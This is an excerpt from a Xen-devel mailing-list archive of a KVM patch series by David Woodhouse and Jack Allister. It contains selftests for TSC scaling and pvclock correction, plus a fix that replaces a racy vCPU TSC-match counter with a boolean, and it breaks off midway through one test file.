+	effective_bus_khz = bus_cycle_ns > 0 ? 1000000 / bus_cycle_ns : 1000000;
+
+	/* If scaling wasn't applied, skip this frequency */
+	if (tsc_khz && effective_tsc_khz == host_khz) {
+		pr_info("  TSC scaling not available, skipping\n");
+		kvm_vm_free(vm);
+		return;
+	}
+
+	pr_info("  Effective TSC: %u kHz, Bus: %u kHz\n", effective_tsc_khz, effective_bus_khz);
+
+	/* Also exercise KVM_VCPU_TSC_SCALE if available */
+	{
+		struct { uint64_t ratio; uint64_t frac_bits; } scale;
+		struct kvm_device_attr scale_attr = {
+			.group = KVM_VCPU_TSC_CTRL,
+			.attr = KVM_VCPU_TSC_SCALE,
+			.addr = (uint64_t)(uintptr_t)&scale,
+		};
+
+		if (!__vcpu_ioctl(vcpu, KVM_HAS_DEVICE_ATTR, &scale_attr)) {
+			vcpu_ioctl(vcpu, KVM_GET_DEVICE_ATTR, &scale_attr);
+			pr_info("  TSC scale: ratio=%lu frac_bits=%lu\n",
+				scale.ratio, scale.frac_bits);
+
+			/*
+			 * Verify: applying the ratio to the host TSC frequency
+			 * should give approximately the effective frequency.
+			 */
+			if (tsc_khz) {
+				uint64_t computed = ((__uint128_t)host_khz * scale.ratio) >> scale.frac_bits;
+				int64_t diff = (int64_t)computed - (int64_t)effective_tsc_khz;
+
+				TEST_ASSERT(diff >= -1 && diff <= 1,
+					    "TSC_SCALE ratio mismatch: computed %lu vs effective %u (diff %ld)",
+					    computed, effective_tsc_khz, diff);
+			}
+		}
+	}
+
+	compute_tsc_mul_shift((uint64_t)effective_tsc_khz * 1000,
+			      &expected_tsc_mul, &expected_tsc_shift);
+
+	expected_tsc_khz = effective_tsc_khz;
+	expected_bus_khz = effective_bus_khz;
+
+	sync_global_to_guest(vm, expected_tsc_khz);
+	sync_global_to_guest(vm, expected_bus_khz);
+	sync_global_to_guest(vm, expected_tsc_mul);
+	sync_global_to_guest(vm, expected_tsc_shift);
+
+	/* Populate CPUID leaves as a VMM would */
+	add_cpuid_entry(vcpu, GENERIC_TIMING_LEAF, 0,
+			effective_tsc_khz, effective_bus_khz, 0, 0);
+	add_cpuid_entry(vcpu, XEN_CPUID_LEAF(3), 0,
+			0, 0, effective_tsc_khz, 0);
+	add_cpuid_entry(vcpu, XEN_CPUID_LEAF(3), 1,
+			0, 0, expected_tsc_mul,
+			(uint32_t)(uint8_t)expected_tsc_shift);
+
+	vcpu_set_cpuid(vcpu);
+
+	pr_info("  pvclock mul=%u shift=%d\n", expected_tsc_mul, expected_tsc_shift);
+
+	vcpu_run(vcpu);
+	TEST_ASSERT_KVM_EXIT_REASON(vcpu, KVM_EXIT_IO);
+
+	switch (get_ucall(vcpu, &uc)) {
+	case UCALL_ABORT:
+		REPORT_GUEST_ASSERT(uc);
+		break;
+	case UCALL_SYNC:
+		break;
+	default:
+		TEST_FAIL("Unexpected ucall");
+	}
+
+	kvm_vm_free(vm);
+}
+
+int main(void)
+{
+	uint64_t freq;
+	struct kvm_vcpu *vcpu;
+	struct kvm_vm *vm;
+	struct kvm_device_attr attr = {
+		.group = KVM_VCPU_TSC_CTRL,
+		.attr = KVM_VCPU_TSC_SCALE,
+	};
+
+	TEST_REQUIRE(sys_clocksource_is_based_on_tsc());
+
+	/* Check KVM_VCPU_TSC_SCALE is supported (implies TSC scaling) */
+	vm = vm_create_with_one_vcpu(&vcpu, guest_code);
+	TEST_REQUIRE(!__vcpu_ioctl(vcpu, KVM_HAS_DEVICE_ATTR, &attr));
+	host_khz = __vcpu_ioctl(vcpu, KVM_GET_TSC_KHZ, NULL);
+	kvm_vm_free(vm);
+
+	/* Native frequency */
+	run_test(0);
+
+	/* Scaled frequencies â€” skip if TSC scaling not available */
+	for (freq = 1000000; freq <= 4000000; freq += 1000000) {
+		if (freq == host_khz)
+			continue;
+		run_test(freq);
+	}
+
+	pr_info("PASS: All CPUID timing leaf tests passed\n");
+	return 0;
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353757.1609514 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKr-0006dH-GM; Fri, 03 Jul 2026 21:22:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353757.1609514; Fri, 03 Jul 2026 21:22:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKr-0006aR-6H; Fri, 03 Jul 2026 21:22:09 +0000
Received: by outflank-mailman (input) for mailman id 1353757;
 Fri, 03 Jul 2026 21:22:06 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflKo-0005h7-Ju
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflKj-00BXCb-0b; Fri, 03 Jul 2026 23:22:06 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827c7-2eae-0a2a0a5409dd-0a2a4504c5b0-26
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:00 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827f7-a01d-0a2a45040019-5a9b3222e448-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:00 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKX-0000000AsYC-0U5S; Fri, 03 Jul 2026 21:21:49 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001RPD-46vV;
 Fri, 03 Jul 2026 22:21:49 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=sAJ+w5HRGJ1JE3H1Wx/huE4jGAY90IdO6mwCHpL6bJA=; b=fPnUdJ68VFN82oFjJj/i57tghy
	0ZFD0hlumo0Eo/gYwzBln/e4uVYPLsis5GydyD/+Vy4w0rNcBsFWA+dW+Ch1zFGpDHSdlShsvrN6H
	2XPhUzEfjC6LB0Tg162oU459VFP6GwWorQp5lrMES88+J5LfEdmILh5zqQipXPKBFQL+QF6Pjkixl
	636TJb/z0HGrnDJ1GFdnnpOTdabYuoPygi84otBK2A9xaA55UpAOVjtSsMueaNRJPCWb+Nf+bWhfL
	UHPuZPEewOXB2c2BM4PG3/hV3K+2lePVnxjsArjeyD/3F2zSR5t6Hi71bD2Gy6MSpkMgA9oCaaUzU
	Dg0T/Ycw==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 21/36] KVM: x86: Replace nr_vcpus_matched_tsc count with all_vcpus_matched_tsc bool
Date: Fri,  3 Jul 2026 22:18:00 +0100
Message-ID: <20260703212145.343527-22-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ebf023/1783113720-AFD241CC-35407CC4/0/0
X-purgate-type: clean
X-purgate-size: 2850

From: David Woodhouse <dwmw@amazon.co.uk>

Using a count and comparing with kvm->online_vcpus was always racy
because a new vCPU could be created while kvm_track_tsc_matching() was
running and comparing with kvm->online_vcpus. That variable is only
atomic with respect to itself; kvm_arch_vcpu_create() runs before
kvm->online_vcpus is incremented for the new vCPU.

Replace the count with a boolean that is set in kvm_track_tsc_matching()
after comparing the count, and cleared when a new TSC generation starts.
The boolean is consumed by pvclock_update_vm_gtod_copy() under the
tsc_write_lock, which serializes against __kvm_synchronize_tsc().

Keep the count for now as it's still used in the trace event.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/include/asm/kvm_host.h |  1 +
 arch/x86/kvm/x86.c              | 10 ++++++----
 2 files changed, 7 insertions(+), 4 deletions(-)

diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h
index e752b13c0809..51d8bcbc2d1d 100644
--- a/arch/x86/include/asm/kvm_host.h
+++ b/arch/x86/include/asm/kvm_host.h
@@ -1492,6 +1492,7 @@ struct kvm_arch {
 	u64 cur_tsc_write;
 	u64 cur_tsc_offset;
 	u64 cur_tsc_generation;
+	bool all_vcpus_matched_tsc;
 	int nr_vcpus_matched_tsc;
 
 	u32 default_tsc_khz;
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 478147aff56a..83c47fe5c9b8 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -2651,8 +2651,10 @@ static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool new_generation)
 	 * and all vCPUs must have matching TSCs.  Note, the count for matching
 	 * vCPUs doesn't include the reference vCPU, hence "+1".
 	 */
-	bool use_master_clock = (ka->nr_vcpus_matched_tsc + 1 ==
-				 atomic_read(&vcpu->kvm->online_vcpus)) &&
+	ka->all_vcpus_matched_tsc = (ka->nr_vcpus_matched_tsc + 1 ==
+				     atomic_read(&vcpu->kvm->online_vcpus));
+
+	bool use_master_clock = ka->all_vcpus_matched_tsc &&
 				gtod_is_based_on_tsc(gtod->clock.vclock_mode);
 
 	/*
@@ -2837,6 +2839,7 @@ static void __kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 offset, u64 tsc,
 		kvm->arch.cur_tsc_write = tsc;
 		kvm->arch.cur_tsc_offset = offset;
 		kvm->arch.nr_vcpus_matched_tsc = 0;
+		kvm->arch.all_vcpus_matched_tsc = false;
 	} else if (vcpu->arch.this_tsc_generation != kvm->arch.cur_tsc_generation) {
 		kvm->arch.nr_vcpus_matched_tsc++;
 	}
@@ -3169,8 +3172,7 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 	bool host_tsc_clocksource, vcpus_matched;
 
 	lockdep_assert_held(&kvm->arch.tsc_write_lock);
-	vcpus_matched = (ka->nr_vcpus_matched_tsc + 1 ==
-			atomic_read(&kvm->online_vcpus));
+	vcpus_matched = ka->all_vcpus_matched_tsc;
 
 	/*
 	 * If the host uses TSC clock, then passthrough TSC as stable
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353760.1609526 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKs-0006w3-Et; Fri, 03 Jul 2026 21:22:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353760.1609526; Fri, 03 Jul 2026 21:22:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKs-0006sg-3X; Fri, 03 Jul 2026 21:22:10 +0000
Received: by outflank-mailman (input) for mailman id 1353760;
 Fri, 03 Jul 2026 21:22:07 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflKo-0005mx-QX
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:07 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflKo-00BXCb-7G; Fri, 03 Jul 2026 23:22:06 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a48279b-2eae-0a2a0a5409dd-0a2a45019e62-26
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:06 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827f9-400f-0a2a45010019-5a9b3222b94c-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:01 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKW-0000000AsY0-0gKK; Fri, 03 Jul 2026 21:21:48 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001RO9-0J5N;
 Fri, 03 Jul 2026 22:21:48 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=/GVIzOguJ6FEtu0Xi+CX41sxIMFfZk32Sup1CQOK2cA=; b=BaLfOYts8sUMPmGLNaou7hmwDv
	ZEfJ2OXH77XM1HGv9Qct/70aBrcfJbrFrtbzbbsDoOpGsFipDwRaLmNxMu2mtVcacWgZcyXNPob4E
	g7uxUNPd+zDqY6qBjNJ+x9SpZ1a0eWx9S8whOdlJn11Sdea2BzLYhL6nLX7Nria99A57xj169SUeP
	IB8A6a3ZpKbJ6hmsFt+zSw0qlRITMmBDgjsOQounx182YctWVblQukg2QqcyGsPz/AVV8mZRN0Xn0
	G7G6WOhJrirf5aATGmlwhdiPBxIdukuDn/grl0vpdDfgN1+/dlXxuqFgaxEG4ywrZfLj+AV07Ve/h
	tySrJOhA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 06/36] KVM: selftests: Add KVM/PV clock selftest to prove timer correction
Date: Fri,  3 Jul 2026 22:17:45 +0100
Message-ID: <20260703212145.343527-7-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-d62444/1783113721-FFCCE1E0-C9E5487E/0/0
X-purgate-type: clean
X-purgate-size: 16061

From: Jack Allister <jalliste@amazon.com>

A VM's KVM/PV clock has an inherent relationship to its TSC. When either
the host system live-updates or the VM is live-migrated this pairing of
the two clock sources should stay the same. In reality this is not the
case without some correction taking place.

The KVM_GET_CLOCK_GUEST/KVM_SET_CLOCK_GUEST ioctls can be used to
perform a correction on the PVTI (PV time information) structure held by
KVM to effectively fix up the kvmclock_offset prior to the guest VM
resuming in either a live-update/migration scenario.

This test proves that without the necessary fixup there is a perceived
change in the guest TSC and KVM/PV clock relationship before and after a
simulated LU/LM takes place, and that the correction eliminates it.

The test:
  1. Snapshots the PVTI at boot (PVTI0).
  2. Induces a change in PVTI data (KVM_REQ_MASTERCLOCK_UPDATE).
  3. Snapshots the PVTI after the change (PVTI1).
  4. Requests correction via KVM_SET_CLOCK_GUEST using PVTI0.
  5. Snapshots the PVTI after correction (PVTI2).

Then samples the TSC at a single point in time and calculates the KVM
clock using each PVTI snapshot. The corrected clock should match the
boot clock to within Â±1ns.

The test enumerates multiple TSC frequencies from 1GHz to 5GHz at 500MHz
steps, crossing the 32-bit boundary, to exercise the scaling path at
various ratios. The sleep duration between snapshots is configurable via
the -s/--sleep command line option.

Co-developed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Jack Allister <jalliste@amazon.com>
Reviewed-by: Paul Durrant <paul@xen.org>
Cc: Dongli Zhang <dongli.zhang@oracle.com>
---
 tools/testing/selftests/kvm/Makefile.kvm      |   1 +
 .../testing/selftests/kvm/x86/pvclock_test.c  | 443 ++++++++++++++++++
 2 files changed, 444 insertions(+)
 create mode 100644 tools/testing/selftests/kvm/x86/pvclock_test.c

diff --git a/tools/testing/selftests/kvm/Makefile.kvm b/tools/testing/selftests/kvm/Makefile.kvm
index 9118a5a51b89..fb935ae3bf38 100644
--- a/tools/testing/selftests/kvm/Makefile.kvm
+++ b/tools/testing/selftests/kvm/Makefile.kvm
@@ -105,6 +105,7 @@ TEST_GEN_PROGS_x86 += x86/pmu_counters_test
 TEST_GEN_PROGS_x86 += x86/pmu_event_filter_test
 TEST_GEN_PROGS_x86 += x86/private_mem_conversions_test
 TEST_GEN_PROGS_x86 += x86/private_mem_kvm_exits_test
+TEST_GEN_PROGS_x86 += x86/pvclock_test
 TEST_GEN_PROGS_x86 += x86/set_boot_cpu_id
 TEST_GEN_PROGS_x86 += x86/set_sregs_test
 TEST_GEN_PROGS_x86 += x86/smaller_maxphyaddr_emulation_test
diff --git a/tools/testing/selftests/kvm/x86/pvclock_test.c b/tools/testing/selftests/kvm/x86/pvclock_test.c
new file mode 100644
index 000000000000..f2b917ed5dea
--- /dev/null
+++ b/tools/testing/selftests/kvm/x86/pvclock_test.c
@@ -0,0 +1,443 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
+ * Copyright Â© Amazon.com, Inc. or its affiliates.
+ *
+ * Tests for pvclock API
+ * KVM_SET_CLOCK_GUEST/KVM_GET_CLOCK_GUEST
+ */
+#include <getopt.h>
+#include <stdint.h>
+#include <string.h>
+#include <time.h>
+#include <unistd.h>
+
+#include "test_util.h"
+#include "kvm_util.h"
+#include "processor.h"
+
+#include <asm/pvclock-abi.h>
+
+/*
+ * Reproduce the pvclock calculation the guest uses to convert TSC to
+ * nanoseconds. This must match the kernel's __pvclock_read_cycles().
+ */
+static inline uint64_t pvclock_scale_delta(uint64_t delta, uint32_t mul,
+					   int8_t shift)
+{
+	if (shift < 0)
+		delta >>= -shift;
+	else
+		delta <<= shift;
+	return ((__uint128_t)delta * mul) >> 32;
+}
+
+static inline uint64_t pvclock_read_cycles(struct pvclock_vcpu_time_info *src,
+					   uint64_t tsc)
+{
+	uint64_t delta = tsc - src->tsc_timestamp;
+
+	return src->system_time + pvclock_scale_delta(delta,
+						      src->tsc_to_system_mul,
+						      src->tsc_shift);
+}
+
+static inline void pvti_snapshot(struct pvclock_vcpu_time_info *dst,
+				 volatile struct pvclock_vcpu_time_info *src)
+{
+	uint32_t version;
+
+	do {
+		version = src->version;
+		__asm__ __volatile__("" ::: "memory");
+		*dst = *src;
+		__asm__ __volatile__("" ::: "memory");
+	} while ((src->version & 1) || src->version != version);
+}
+
+enum {
+	STAGE_FIRST_BOOT,
+	STAGE_UNCORRECTED,
+	STAGE_CORRECTED
+};
+
+#define KVMCLOCK_GPA	0xc0000000ull
+#define KVMCLOCK_SIZE	sizeof(struct pvclock_vcpu_time_info)
+
+static void trigger_pvti_update(void)
+{
+	/*
+	 * Toggle between KVM's old and new system time methods to coerce KVM
+	 * into updating the fields in the PV time info struct.
+	 */
+	wrmsr(MSR_KVM_SYSTEM_TIME, KVMCLOCK_GPA | KVM_MSR_ENABLED);
+	wrmsr(MSR_KVM_SYSTEM_TIME_NEW, KVMCLOCK_GPA | KVM_MSR_ENABLED);
+}
+
+static void guest_code(void)
+{
+	struct pvclock_vcpu_time_info *pvti =
+		(void *)(unsigned long)KVMCLOCK_GPA;
+	struct pvclock_vcpu_time_info pvti_boot;
+	struct pvclock_vcpu_time_info pvti_uncorrected;
+	struct pvclock_vcpu_time_info pvti_corrected;
+	uint64_t tsc_guest;
+	uint64_t clk_boot, clk_uncorrected, clk_corrected;
+	int64_t delta_corrected;
+
+	/* Set up kvmclock and snapshot the initial pvclock parameters. */
+	wrmsr(MSR_KVM_SYSTEM_TIME_NEW, KVMCLOCK_GPA | KVM_MSR_ENABLED);
+	pvti_snapshot(&pvti_boot, pvti);
+	GUEST_SYNC(STAGE_FIRST_BOOT);
+
+	/*
+	 * Trigger an update of the PVTI. Calculating the KVM clock using this
+	 * updated structure will show a delta from the original.
+	 */
+	trigger_pvti_update();
+	pvti_snapshot(&pvti_uncorrected, pvti);
+	GUEST_SYNC(STAGE_UNCORRECTED);
+
+	/*
+	 * Snapshot the corrected time (the host does KVM_SET_CLOCK_GUEST when
+	 * handling STAGE_UNCORRECTED).
+	 */
+	pvti_snapshot(&pvti_corrected, pvti);
+
+	/*
+	 * Sample the TSC at a single point in time, then calculate the
+	 * effective KVM clock using the PVTI from each stage. Verify that the
+	 * corrected clock matches the boot clock to within Â±2ns.
+	 */
+	tsc_guest = rdtsc();
+
+	clk_boot = pvclock_read_cycles(&pvti_boot, tsc_guest);
+	clk_uncorrected = pvclock_read_cycles(&pvti_uncorrected, tsc_guest);
+	clk_corrected = pvclock_read_cycles(&pvti_corrected, tsc_guest);
+
+	delta_corrected = clk_boot - clk_corrected;
+
+	__GUEST_ASSERT(delta_corrected >= -2 && delta_corrected <= 2,
+		       "corrected delta %ld out of range (boot=%lu uncorrected=%lu corrected=%lu)",
+		       delta_corrected, clk_boot, clk_uncorrected, clk_corrected);
+
+	GUEST_SYNC(STAGE_CORRECTED);
+}
+
+static void run_test(struct kvm_vm *vm, struct kvm_vcpu *vcpu,
+		     unsigned int sleep_sec)
+{
+	struct pvclock_vcpu_time_info pvti_before;
+	struct ucall uc;
+
+	for (;;) {
+		vcpu_run(vcpu);
+		TEST_ASSERT_KVM_EXIT_REASON(vcpu, KVM_EXIT_IO);
+
+		switch (get_ucall(vcpu, &uc)) {
+		case UCALL_ABORT:
+			REPORT_GUEST_ASSERT(uc);
+			break;
+		case UCALL_SYNC:
+			break;
+		default:
+			TEST_FAIL("Unexpected ucall");
+		}
+
+		switch (uc.args[1]) {
+		case STAGE_FIRST_BOOT:
+			/* Save the pvclock parameters before the update. */
+			vcpu_ioctl(vcpu, KVM_GET_CLOCK_GUEST, &pvti_before);
+
+			/* Sleep to let the clocks diverge. */
+			sleep(sleep_sec);
+			break;
+
+		case STAGE_UNCORRECTED:
+			/* Restore the original pvclock parameters. */
+			vcpu_ioctl(vcpu, KVM_SET_CLOCK_GUEST, &pvti_before);
+			break;
+
+		case STAGE_CORRECTED:
+			/* Guest verified the delta in-guest. */
+			return;
+
+		default:
+			TEST_FAIL("Unknown stage %lu", uc.args[1]);
+		}
+	}
+}
+
+static void configure_pvclock(struct kvm_vm *vm)
+{
+	unsigned int nr_pages;
+
+	nr_pages = vm_calc_num_guest_pages(VM_MODE_DEFAULT, getpagesize());
+	vm_userspace_mem_region_add(vm, VM_MEM_SRC_ANONYMOUS,
+				    KVMCLOCK_GPA, 1, nr_pages, 0);
+	virt_map(vm, KVMCLOCK_GPA, KVMCLOCK_GPA, nr_pages);
+}
+
+static void run_at_frequency(uint64_t tsc_khz, unsigned int sleep_sec)
+{
+	struct kvm_vcpu *vcpu;
+	struct kvm_vm *vm;
+
+	pr_info("Testing at TSC frequency %lu kHz\n", tsc_khz);
+	vm = vm_create_with_one_vcpu(&vcpu, guest_code);
+	configure_pvclock(vm);
+	vcpu_ioctl(vcpu, KVM_SET_TSC_KHZ, (void *)tsc_khz);
+	run_test(vm, vcpu, sleep_sec);
+	kvm_vm_free(vm);
+}
+
+static void test_tsc_stable_bit(void);
+static void test_clock_guest_with_offsets(void);
+
+static void usage(const char *name)
+{
+	printf("Usage: %s [options]\n"
+	       "  -s, --sleep SEC     sleep duration between snapshots (default: 2)\n"
+	       "  -h, --help          show this help\n", name);
+}
+
+int main(int argc, char *argv[])
+{
+	static const struct option long_opts[] = {
+		{ "sleep", required_argument, NULL, 's' },
+		{ "help",  no_argument,       NULL, 'h' },
+		{ NULL,    0,                  NULL,  0  },
+	};
+	unsigned int sleep_sec = 2;
+	struct kvm_vcpu *vcpu;
+	struct kvm_vm *vm;
+	uint64_t host_khz;
+	uint64_t freq;
+	int opt;
+
+	while ((opt = getopt_long(argc, argv, "s:h", long_opts, NULL)) != -1) {
+		switch (opt) {
+		case 's':
+			sleep_sec = atoi(optarg);
+			break;
+		case 'h':
+		default:
+			usage(argv[0]);
+			return opt == 'h' ? 0 : 1;
+		}
+	}
+
+	TEST_REQUIRE(sys_clocksource_is_based_on_tsc());
